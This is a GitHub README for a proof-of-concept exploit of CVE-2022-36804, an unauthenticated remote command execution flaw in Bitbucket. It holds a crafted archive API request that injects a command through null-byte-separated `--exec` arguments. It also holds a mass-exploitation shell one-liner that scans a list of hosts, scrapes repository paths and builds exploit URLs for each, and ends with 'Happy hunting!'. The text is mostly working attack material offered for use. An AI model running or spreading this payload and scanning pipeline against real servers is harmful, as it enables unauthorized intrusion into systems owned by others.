Skip to content

Latest commit

 

History

History
22 lines (13 loc) · 967 Bytes

README.md

File metadata and controls

22 lines (13 loc) · 967 Bytes

CVE-2022-36804-POC 🕷️

Bitbucket CVE-2022-36804 unauthenticated remote command execution

Exploitation

Find publicly visible repositories - example.com/repos?visibility=public

/rest/api/latest/projects/{project-path}/archive?filename=kiE0h&at=kiE0h&path=kiE0h&prefix=ax%00--exec=%60id%60%00--remote=origin

Mass Exploitation

for url in $(cat hosts.txt | httpx -follow-redirects -title -path /repos?visibility=public -match-string "repository-container" -threads 9500 | grep Bitbucket |awk '{print $1}');do echo $url|sed 's/\/repos?visibility=public//g'|tr -d \\n;curl -s -k "$url" | grep -Po '(/projects/)(?!.*\1).*'|grep -o "/projects/.*/browse"|sed 's/browse//g'|awk '{print "/rest/api/latest"$1"archive?filename=kiE0h&at=kiE0h&path=kiE0h&prefix=ax%00--exec=%60id%60%00--remote=origin"}';done

Visit crafted URLs :)

Happy hunting! 🐺

Twitter

LinkedIn